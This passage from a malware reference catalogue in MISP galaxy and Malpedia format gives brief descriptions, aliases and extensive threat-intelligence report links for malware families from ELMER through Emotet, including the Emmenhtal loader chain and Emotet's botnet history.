https://research.checkpoint.com/2022/state-sponsored-attack-groups-capitalise-on-russia-ukraine-war-for-cyber-espionage/

ELMER

ELMER is a non-persistent proxy-aware HTTP backdoor written in Delphi, and is capable of performing file uploads and downloads, file execution, and process and directory listings. To retrieve commands, ELMER sends HTTP GET requests to a hard-coded CnC server, and parses the HTTP response packets received from the CnC server for an integer string corresponding to the command that needs to be executed.

The tag is: *misp-galaxy:malpedia="ELMER"*

ELMER is also known as:

- Elmost

Table 3784. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.elmer
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html
https://cybergeeks.tech/a-detailed-analysis-of-elmer-backdoor-used-by-apt16/
https://attack.mitre.org/software/S0064
https://attack.mitre.org/groups/G0023
https://www.symantec.com/security-center/writeup/2015-122210-5724-99

emansrepo

Infostealer

The tag is: *misp-galaxy:malpedia="emansrepo"*

emansrepo is also known as:

Table 3785. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.emansrepo
https://nikhilh-20.github.io/blog/emansrepo_deobfuscation/
https://www.fortinet.com/blog/threat-research/emansrepo-stealer-multi-vector-attack-chains

Emdivi

The tag is: *misp-galaxy:malpedia="Emdivi"*

Emdivi is also known as:

Table 3786. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.emdivi
http://blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-cyber-espionage-campaign/
http://blog.jpcert.or.jp/2015/11/decrypting-strings-in-emdivi.html
https://securelist.com/new-activity-of-the-blue-termite-apt/71876/
https://www.macnica.net/file/security_report_20160613.pdf
https://www.virusbulletin.com/virusbulletin/2020/05/vb2019-paper-apt-cases-exploiting-vulnerabilities-regionspecific-software/

http://blog.trendmicro.com/trendlabs-security-intelligence/attackers-target-organizations-in-japan-transform-local-sites-into-cc-servers-for-emdivi-backdoor/

Emissary

The tag is: *misp-galaxy:malpedia="Emissary"*

Emissary is also known as:

Table 3787. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.emissary
https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/

Emmenhtal

Emmenhtal is a malicious loader likely distributed since early 2024, and publicly detailed by Orange Cyberdefense CERT in August 2024. Emmenhtal is an obfuscated multistage payload that spawns an execution of the LOLBIN mshta.exe to read a first HTA stage that embeds a malicious JavaScript code. Once interpreted and executed, the JavaScript decodes and runs a PowerShell script. The latter decrypts an obfuscated PowerShell loader which finally downloads and runs final-stage stealers and commodity RATs.

As of March 2025, Orange Cyberdefense CERT has identified three versions of the loader, all actively distributed.

The tag is: *misp-galaxy:malpedia="Emmenhtal"*

Emmenhtal is also known as:

- IDATDropper
- PEAKLIGHT

Table 3788. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.emmenhtal
https://strikeready.com/blog/ru-apt-targeting-energy-infrastructure-unknown-unknowns-part-3/
https://www.youtube.com/watch?v=FJht41Jht5Y
https://www.youtube.com/watch?v=NP9M-QhbzTQ
https://labs.k7computing.com/index.php/tracking-emmenhtal/
https://www.orangecyberdefense.com/global/blog/cert-news/emmenhtal-a-little-known-loader-distributing-commodity-infostealers-worldwide

https://github.com/cert-orangecyberdefense/edam
https://cloud.google.com/blog/topics/threat-intelligence/peaklight-decoding-stealthy-memory-only-malware/
https://x.com/CERTCyberdef/status/1870137789402014155
https://www.group-ib.com/blog/clickfix-the-social-engineering-technique-hackers-use-to-manipulate-victims/
https://x.com/CERTCyberdef/status/1900460479778030013
https://www.youtube.com/watch?v=8AjP39OXs2c
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/behind-the-captcha-a-clever-gateway-of-malware/
https://www.kroll.com/en/insights/publications/cyber/idatloader-distribution

Emotet

While Emotet historically was a banking malware organized in a botnet, nowadays Emotet is mostly seen as infrastructure as a service for content delivery. For example, since mid 2018 it is used by Trickbot for installs, which may also lead to ransomware attacks using Ryuk, a combination observed several times against high-profile targets. It is always stealing information from victims but what the criminal gang behind it did, was to open up another business channel by selling their infrastructure delivering additional malicious software. From malware analysts it has been classified into epochs depending on command and control, payloads, and delivery solutions which change over time. Emotet had been taken down by authorities in January 2021, though it appears to have sprung back to life in November 2021.

The tag is: *misp-galaxy:malpedia="Emotet"*

Emotet is also known as:

- Geodo
- Heodo

Table 3789. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.emotet
https://www.lac.co.jp/lacwatch/alert/20211119_002801.html
https://www.hornetsecurity.com/en/security-informationen-en/webshells-powering-emotet/
https://blog.talosintelligence.com/emotet-switches-to-onenote/
https://twitter.com/raashidbhatt/status/1237853549200936960
https://team-cymru.com/blog/2021/01/27/taking-down-emotet/
https://blog.threatlab.info/malware-analysis-emotet-infection/

https://www.bleepingcomputer.com/news/security/emotet-malware-now-installs-via-powershell-in-windows-shortcut-files/

https://www.cyren.com/blog/articles/example-analysis-of-multi-component-malware

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

https://experience.mandiant.com/trending-evil-2/p/1

https://isc.sans.edu/forums/diary/Emotet%20infection%20with%20Cobalt%20Strike/28824/

https://unit42.paloaltonetworks.com/emotet-command-and-control/

https://www.zscaler.com/blogs/security-research/return-emotet-malware-analysis

https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf

https://de.darktrace.com/blog/emotet-resurgence-cross-industry-campaign-analysis

https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor

https://www.bitsight.com/blog/emotet-smb-spreader-back

https://www.netskope.com/blog/netskope-threat-coverage-the-return-of-emotet

https://www.advintel.io/post/corporate-loader-emotet-history-of-x-project-return-for-ransomware

https://www.vmray.com/cyber-security-blog/malware-analysis-spotlight-emotets-use-of-cryptography/

https://int0xcc.svbtle.com/dissecting-emotet-s-network-communication-protocol

https://blog.nviso.eu/2022/03/23/hunting-emotet-campaigns-with-kusto/

https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko

https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta542-banker-malware-distribution-service

https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure

https://blog.malwarebytes.com/threat-analysis/2021/01/cleaning-up-after-emotet-the-law-enforcement-file/

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker

https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes

https://www.cert.pl/en/news/single/whats-up-emotet/

https://www.cert.ssi.gouv.fr/alerte/CERTFR-2020-ALE-019/

https://hello.global.ntt/en-us/insights/blog/behind-the-scenes-of-the-emotet-infrastructure

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf

https://muha2xmad.github.io/unpacking/emotet-part-1/

https://www.infosecurity-magazine.com/blogs/a-rundown-of-the-emotet-malware/

https://www.cynet.com/attack-techniques-hands-on/new-wave-of-emotet-when-project-x-turns-into-y/

https://threatpost.com/emotet-spreading-malicious-excel-files/178444/

https://www.youtube.com/watch?v=_BLOmClsSpc

https://threatconnect.com/blog/research-roundup-activity-on-previously-identified-apt33-domains/

https://www.cyberscoop.com/trickbot-shutdown-conti-emotet/

https://www.vmware.com/content/dam/learn/en/amer/fy23/pdf/1669005_Emotet_Exposed_A_Look_Inside_the_Cybercriminal_Supply_Chain.pdf

https://infosecwriteups.com/unpacking-emotet-trojan-dac7e6119a0a

https://cert-agid.gov.it/news/malware/semplificare-lanalisi-di-emotet-con-python-e-iced-x86/

https://cdn.www.carbonblack.com/wp-content/uploads/2020/05/VMWCB-Report-Modern-Bank-Heists-2020.pdf

https://www.fortinet.com/blog/threat-research/bad-actors-capitalize-current-events-email-scams

https://www.jpcert.or.jp/english/at/2019/at190044.html

https://forensicitguy.github.io/emotet-excel4-macro-analysis/

https://marcoramilli.com/2019/10/14/is-emotet-gang-targeting-companies-with-external-soc/

https://www.proofpoint.com/us/blog/threat-insight/emotet-tests-new-delivery-techniques

https://www.hornetsecurity.com/en/security-information/awaiting-the-inevitable-return-of-emotet/

https://dissectingmalwa.re/return-of-the-mummy-welcome-back-emotet.html

https://www.binarydefense.com/emocrash-exploiting-a-vulnerability-in-emotet-malware-for-defense/

https://www.welivesecurity.com/2023/07/06/whats-up-with-emotet/

https://intel471.com/blog/conti-emotet-ransomware-conti-leaks

https://www.spamhaus.com/custom-content/uploads/2021/04/Botnet-update-Q1-2021.pdf

https://www.securityartwork.es/2021/06/16/analisis-campana-emotet/

https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022

https://blogs.vmware.com/security/2022/08/how-to-replicate-emotet-lateral-movement.html

https://securelist.com/analysis/publications/69560/the-banking-trojan-emotet-detailed-analysis/

https://www.bleepingcomputer.com/news/security/united-nations-targeted-with-emotet-malware-phishing-attack/

https://www.cert.pl/en/news/single/analysis-of-emotet-v4/

https://mirshadx.wordpress.com/2020/11/22/analyzing-an-emotet-dropper-and-writing-a-python-script-to-statically-unpack-payload/

https://notes.netbytesec.com/2021/02/deobfuscating-emotet-macro-and.html

https://www.netresec.com/?page=Blog&month=2022-05&post=Emotet-C2-and-Spam-Traffic-Video

https://github.com/cecio/EMOTET-2020-Reversing

https://www.atomicmatryoshka.com/post/malware-headliners-emotet

https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html

https://intel471.com/blog/emotet-takedown-2021/

https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/

https://www.secureworks.com/research/threat-profiles/gold-crestwood

https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_workshop_malware-analysis_jp.pdf

https://www.deepinstinct.com/2020/08/12/why-emotets-latest-wave-is-harder-to-catch-than-ever-before/

https://www.picussecurity.com/blog/emotet-technical-analysis-part-2-powershell-unveiled

https://shaddy43.github.io/MalwareAnalysisSeries/Emotet/

https://blogs.jpcert.or.jp/en/2019/12/emotetfaq.html

https://www.us-cert.gov/ncas/alerts/TA18-201A

https://blog.talosintelligence.com/2020/11/emotet-2020.html

https://www.youtube.com/watch?v=q8of74upT_g

https://www.netskope.com/blog/emotet-still-abusing-microsoft-office-macros

https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf

https://www.telekom.com/en/blog/group/article/cybersecurity-dissecting-emotet-part-one-592612

https://strapi.eurepoc.eu/uploads/Eu_Repo_C_APT_profile_Conti_Wizard_Spider_dc2a733e18.pdf

https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf

https://twitter.com/ContiLeaks/status/1498614197202079745

https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships

https://speakerdeck.com/fr0gger/x-ray-of-malware-evasion-techniques-analysis-dissection-cure

https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf

https://unit42.paloaltonetworks.com/c2-traffic/

https://blog.securityonion.net/2022/02/quick-malware-analysis-emotet-epoch-5.html

https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf

https://www.anomali.com/blog/mummy-spiders-emotet-malware-is-back-after-a-year-hiatus-wizard-spiders-trickbot-observed-in-its-return

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://pl-v.github.io/plv/posts/Emotet-unpacking/

https://www.justice.gov/opa/pr/emotet-botnet-disrupted-international-cyber-operation

https://d00rt.github.io/emotet_network_protocol/

https://kienmanowar.wordpress.com/2022/01/23/quicknote-emotet-epoch4-epoch5-tactics/

https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot

https://www.youtube.com/watch?v=AkZ5TYBqcU4

https://blog.cyble.com/2022/04/27/emotet-returns-with-new-ttps-and-delivers-lnk-files-to-its-victims/

https://blogs.cisco.com/security/emotet-is-back

https://cofense.com/blog/emotet-sending-malicious-emails-after-three-month-hiatus/

https://www.fortinet.com/blog/threat-research/ms-office-files-involved-in-emotet-trojan-campaign-pt-one

https://www.proofpoint.com/us/blog/threat-insight/emotet-makes-timely-adoption-political-and-elections-lures

https://unit42.paloaltonetworks.com/new-emotet-infection-method/

https://www.dsih.fr/article/4483/emotet-de-retour-poc-exchange-0-day-windows-a-quelle-sauce-les-attaquants-prevoient-de-nous-manger-cette-semaine.html

https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf

https://security-soup.net/quick-post-spooky-new-powershell-obfuscation-in-emotet-maldocs/

https://cocomelonc.github.io/persistence/2023/12/10/malware-pers-23.html

https://www.botconf.eu/wp-content/uploads/2019/12/B2019-OReilly-Jarvis-End-to-end-Botnet-Monitoring.pdf

https://cyber.wtf/2022/03/23/what-the-packer/

https://exchange.xforce.ibmcloud.com/collection/18f373debc38779065a26f1958dc260b

https://www.proofpoint.com/us/blog/threat-insight/comprehensive-look-emotets-summer-2020-return

https://unit42.paloaltonetworks.com/emotet-malware-summary-epoch-4-5/

https://blog.trendmicro.com/trendlabs-security-intelligence/exploring-emotet-examining-emotets-activities-infrastructure/

https://www.binarydefense.com/emotet-evolves-with-new-wi-fi-spreader/

https://www.bleepingcomputer.com/news/security/emotet-now-drops-cobalt-strike-fast-forwards-ransomware-attacks/

https://www.trellix.com/blogs/research/icymi-emotet-reappeared-early-this-year-unfortunately/

https://www.zeit.de/digital/2021-06/cybercrime-extortion-internet-spyware-ransomware-police-prosecution-hackers

https://medium.com/@Ilandu/emotet-unpacking-35bbe2980cfb

https://isc.sans.edu/diary/28044

https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf

https://www.intrinsec.com/emotet-returns-and-deploys-loaders/

https://www.hornetsecurity.com/en/threat-research/comeback-emotet/

https://www.ironnet.com/blog/detecting-a-mummyspider-campaign-and-emotet-infection

https://www.youtube.com/watch?v=EyDiIAtdI

https://github.com/d00rt/emotet_research

https://r3mrum.wordpress.com/2021/01/05/manual-analysis-of-new-powersplit-maldocs-delivering-emotet/

https://www.telekom.com/en/blog/group/article/cybersecurity-dissecting-emotet-part-two-596128

https://blog.trendmicro.com/trendlabs-security-intelligence/emotet-adds-new-evasion-technique-and-uses-connected-devices-as-proxy-cc-servers/

https://blog.kryptoslogic.com/malware/2018/10/31/emotet-email-theft.html

https://malfind.com/index.php/2018/07/23/deobfuscating-emotets-powershell-payload/

https://blogs.vmware.com/networkvirtualization/2022/01/emotet-is-not-dead-yet.html/

https://www.tagesschau.de/investigativ/br-recherche/emotet-schadsoftware-103.html

https://www.trendmicro.com/en_no/research/23/c/emotet-returns-now-adopts-binary-padding-for-evasion.html

https://www.elastic.co/security-labs/emotet-dynamic-configuration-extraction

https://hatching.io/blog/powershell-analysis

https://www.deepinstinct.com/blog/the-re-emergence-of-emotet

https://blog.trendmicro.com/trendlabs-security-intelligence/new-emotet-hijacks-windows-api-evades-sandbox-analysis/

https://www.deepinstinct.com/blog/types-of-dropper-malware-in-microsoft-office

https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/

https://asec.ahnlab.com/en/33600/

https://www.netskope.com/blog/emotet-new-delivery-mechanism-to-bypass-vba-protection

https://www.fortinet.com/blog/threat-research/Trends-in-the-recent-emotet-maldoc-outbreak

https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf

https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf

https://www.cronup.com/la-botnet-de-emotet-reinicia-ataques-en-chile-y-latinoamerica/

https://hello.global.ntt/en-us/insights/blog/shellbot-victim-overlap-with-emotet-network-infrastructure

https://www.bleepingcomputer.com/news/security/emotet-botnet-switches-to-64-bit-modules-increases-activity/

https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_4_ogawa-niseki_en.pdf

https://www.fortinet.com/blog/threat-research/deep-dive-into-emotet-malware.html

https://www.microsoft.com/security/blog/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/

https://blogs.vmware.com/security/2022/05/emotet-moves-to-64-bit-and-updates-its-loader.html

https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/

https://unit42.paloaltonetworks.com/emotet-thread-hijacking/

https://blogs.vmware.com/security/2022/05/emotet-config-redux.html

https://isc.sans.edu/forums/diary/Emotet+infections+and+followup+malware/24532/

https://blog.malwarebytes.com/botnets/2019/09/emotet-is-back-botnet-springs-back-to-life-with-new-spam-campaign/

https://www.netskope.com/blog/you-can-run-but-you-cant-hide-advanced-emotet-updates

https://cyber.wtf/2021/11/15/guess-whos-back/

https://forensicitguy.github.io/shortcut-to-emotet-ttp-change/

https://www.bleepingcomputer.com/news/security/emotet-trickbot-malware-duo-is-back-infecting-windows-machines/

https://isc.sans.edu/forums/diary/Emotet+Stops+Using+0000+in+Spambot+Traffic/28270/

https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/

https://www.trendmicro.com/en_us/research/22/e/bruised-but-not-broken—the-resurgence-of-the-emotet-botnet-malw.html

https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/

https://www.spamtitan.com/blog/emotet-malware-revives-old-email-conversations-threads-to-increase-infection-rates/

https://news.sophos.com/en-us/2020/07/28/emotets-return-is-the-canary-in-the-coal-mine/?cmp=30728

https://www.darkreading.com/vulnerabilities-threats/operation-endgame-takedowns-arrests-matter

https://www.heise.de/ct/artikel/Was-Emotet-anrichtet-und-welche-Lehren-die-Opfer-daraus-ziehen-4665958.html

https://feodotracker.abuse.ch/?filter=version_e

https://www.proofpoint.com/us/blog/threat-insight/geofenced-amazon-japan-credential-phishing-volumes-rival-emotet

https://www.bleepingcomputer.com/news/security/emotet-malware-now-steals-your-email-attachments-to-attack-contacts/

https://www.hornetsecurity.com/en/security-information/emotet-is-back/

https://portswigger.net/daily-swig/emotet-trojan-implicated-in-wolverine-solutions-ransomware-attack

https://blogs.vmware.com/security/2022/03/emotet-c2-configuration-extraction-and-analysis.html

https://www.gdata.de/blog/2017/10/30110-emotet-beutet-outlook-aus

https://web.archive.org/web/20211223100528/https://cloudsek.com/emotet-2-0-everything-you-need-to-know-about-the-new-variant-of-thbanking-trojan/

https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-010.pdf

https://paste.cryptolaemus.com

https://blog.talosintelligence.com/2020/02/coronavirus-themed-malware.html

http://blog.fortinet.com/2017/05/03/deep-analysis-of-new-emotet-variant-part-1

https://www.welivesecurity.com/2018/11/09/emotet-launches-major-new-spam-campaign/

https://news.sophos.com/en-us/2022/05/04/attacking-emotets-control-flow-flattening/

https://github.com/mauronz/binja-emotet

https://www.spamhaus.org/news/article/783/emotet-adds-a-further-layer-of-camouflage

https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html

https://twitter.com/Cryptolaemus1/status/1516535343281025032

https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html

https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/

https://cloudblogs.microsoft.com/microsoftsecure/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/?source=mmpc

https://www.gdatasoftware.com/blog/2022/01/malware-vaccines

https://securelist.com/the-chronicles-of-emotet/99660/

https://www.bleepingcomputer.com/news/security/emotet-malware-attacks-return-after-three-month-break/

https://www.zscaler.com/blogs/security-research/return-emotet-malware

https://www.bitsight.com/blog/emotet-botnet-rises-again

https://blog.virustotal.com/2020/11/using-similarity-to-expand-context-and.html

https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

https://www.hornetsecurity.com/en/threat-research/emotet-botnet-takedown/

https://persianov.net/emotet-malware-analysis-part-2

https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx

https://blog.vincss.net/re019-from-a-to-x-analyzing-some-real-cases-which-used-recent-emotet-samples/

https://notes.netbytesec.com/2022/02/technical-malware-analysis-return-of.html

http://ropgadget.com/posts/defensive_pcres.html

https://www.proofpoint.com/us/blog/threat-insight/comprehensive-look-emotets-fall-2022-return

https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware

https://kienmanowar.wordpress.com/2022/12/19/z2abimonthly-malware-challege-emotet-back-from-the-dead/

https://blogs.blackberry.com/en/2023/01/emotet-returns-with-new-methods-of-evasion

https://www.digitalshadows.com/blog-and-research/how-cybercriminals-are-taking-advantage-of-covid-19-scams-fraud-misinformation/

https://www.melani.admin.ch/melani/de/home/dokumentation/newsletter/Trojaner_Emotet_greift_Unternehmensnetzwerke_an.html

https://www.deepinstinct.com/2020/10/12/why-emotets-latest-wave-is-harder-to-catch-than-ever-before-part-2/

https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/

https://hello.global.ntt/en-us/insights/blog/emotet-disruption-europol-counterattack

https://unit42.paloaltonetworks.com/attack-chain-overview-emotet-in-december-2020-and-january-2021/

https://medium.com/threat-intel/emotet-dangerous-malware-keeps-on-evolving-ac84aadbb8de

https://estr3llas.github.io/unpacking-an-emotet-trojan/

https://www.bleepingcomputer.com/news/security/emotet-malware-hits-lithuanias-national-public-health-center/

https://www.esentire.com/blog/increase-in-emotet-activity-and-cobalt-strike-deployment

https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles

https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-emotet-variant-part-2.html

https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/

https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf

https://threatresearch.ext.hp.com/emotets-return-whats-different/

https://research.checkpoint.com/emotet-tricky-trojan-git-clones/

https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf

https://www.binarydefense.com/emotet-wi-fi-spreader-upgraded/

https://www.bleepingcomputer.com/news/security/microsoft-emotet-took-down-a-network-by-overheating-all-computers/

https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html

https://www.intezer.com/mitigating-emotet-the-most-common-banking-trojan/

https://quickheal.co.in/documents/technical-paper/Whitepaper_HowToPM.pdf

http://blog.trendmicro.com/trendlabs-security-intelligence/emotet-returns-starts-spreading-via-spam-botnet/

https://www.wiwo.de/my/technologie/digitale-welt/emotet-netzwerk-wie-eines-der-groessten-hacker-netzwerke-der-welt-lahmgelegt-wurde/27164048.html

https://medium.com/brim-securitys-knowledge-funnel/hunting-emotet-with-brim-and-zeek-1000c2f5c1ff

https://blog.prevailion.com/wizard-spider-continues-to-confound-4298370f6903

https://www.trendmicro.com/en_us/research/22/a/emotet-spam-abuses-unconventional-ip-address-formats-spread-malware.html

https://twitter.com/eduardfir/status/1461856030292422659

https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmwcb-report-modern-bank-heists-2020.pdf

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-003.pdf

https://blog.malwarebytes.com/threat-intelligence/2021/11/trickbot-helps-emotet-come-back-from-the-dead/

https://community.riskiq.com/article/2cd1c003

https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree

https://blog.intel471.com/2020/04/14/understanding-the-relationship-between-emotet-ryuk-and-trickbot/

https://krebsonsecurity.com/2021/01/international-action-targets-emotet-crimeware

https://intezer.com/blog/research/how-hackers-use-binary-padding-to-outsmart-sandboxes/

https://adalogics.com/blog/the-state-of-advanced-code-injections

https://www.welivesecurity.com/2022/06/16/how-emotet-is-changing-tactics-microsoft-tightening-office-macro-security/

https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf

https://www.eurojust.europa.eu/worlds-most-dangerous-malware-emotet-disrupted-through-global-action

https://securelist.com/emotet-modules-and-recent-attacks/106290/

https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much

https://medium.com/@Ilandu/emotet-campaign-6f240f7a5ed5

https://www.lac.co.jp/lacwatch/people/20201106_002321.html

https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection

https://www.seqrite.com/blog/the-return-of-the-emotet-as-the-world-unlocks/

https://www.cisa.gov/uscert/ncas/alerts/aa22-110a

https://blogs.jpcert.or.jp/en/2021/02/emotet-notice.html

https://www.politie.nl/nieuws/2021/februari/17/politie-bestrijdt-cybercrime-via-nederlandse-infrastructuur.html

https://cert.grnet.gr/en/blog/reverse-engineering-emotet/

https://twitter.com/milkr3am/status/1354459859912192002

https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/

https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf

https://www.dragos.com/blog/industry-news/suspected-conti-ransomware-activity-in-the-auto-manufacturing-sector/

https://securelist.com/emotet-darkgate-lokibot-crimeware-report/110286/

https://persianov.net/emotet-malware-analysis-part-1

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf

https://www.tgsoft.it/files/report/download.asp?id=7481257469

https://www.bleepingcomputer.com/news/security/emotet-malware-is-back-and-rebuilding-its-botnet-via-trickbot/

https://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself

https://isc.sans.edu/diary/rss/28254

https://medium.com/@0xd0cf11e/analyzing-emotet-with-ghidra-part-1-4da71a5c8d69

https://therecord.media/over-780000-email-accounts-compromised-by-emotet-have-been-secured/

https://blog.vincss.net/2021/01/re019-from-a-to-x-analyzing-some-real-cases-which-used-recent-Emotet-samples.html

https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html

https://blogs.vmware.com/networkvirtualization/2022/02/emotet-is-not-dead-yet-part-2.html/

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf

https://www.heise.de/security/artikel/Emotet-Trickbot-Ryuk-ein-explosiver-Malware-Cocktail-4573848.html

https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-february-mummy-spider/

https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/

https://www.zdnet.com/article/meet-the-white-hat-group-fighting-emotet-the-worlds-most-dangerous-malware/

https://www.proofpoint.com/us/blog/threat-insight/q4-2020-threat-report-quarterly-analysis-cybersecurity-trends-tactics-and-themes

https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf

https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf

https://www.cert.govt.nz/it-specialists/advisories/emotet-malware-being-spread-via-email/

https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89

https://www.youtube.com/watch?v=5_-oR_135ss

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/

https://blog.malwarebytes.com/trojans/2020/07/long-dreaded-emotet-has-returned/

https://www.youtube.com/watch?v=_mGMJFNJWSk

https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them

https://www.berlin.de/sen/justva/presse/pressemitteilungen/2020/pm-11-2020-t-systems-forensik_bericht_public_v1.pdf

https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf

https://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/

https://www.esentire.com/security-advisories/emotet-activity-identified

https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/

https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns

https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_0_JPCERT_en.pdf

https://www.intezer.com/blog/malware-analysis/how-threat-actors-abuse-lnk-files/

https://www.fortinet.com/blog/threat-research/ms-office-files-involved-again-in-recent-emotet-trojan-campaign-part-ii

https://unit42.paloaltonetworks.com/domain-parking/

https://www.kroll.com/en/insights/publications/cyber/monitor/emotet-analysis-new-lnk-in-the-infection-chain

https://www.digitalshadows.com/blog-and-research/emotet-disruption/

https://www.youtube.com/watch?v=8PHCZdpNKrw

https://www.youtube.com/watch?v=cmJpRncrAp0
https://cofense.com/flash-bulletin-emotet-epoch-1-changes-c2-communication/
https://www.hornetsecurity.com/en/security-information/emotet-update-increases-downloads/
https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf
https://blog.kryptoslogic.com/malware/2018/08/01/emotet.html
https://muha2xmad.github.io/unpacking/emotet-part-2/
https://securelist.com/financial-cyberthreats-in-2020/101638/
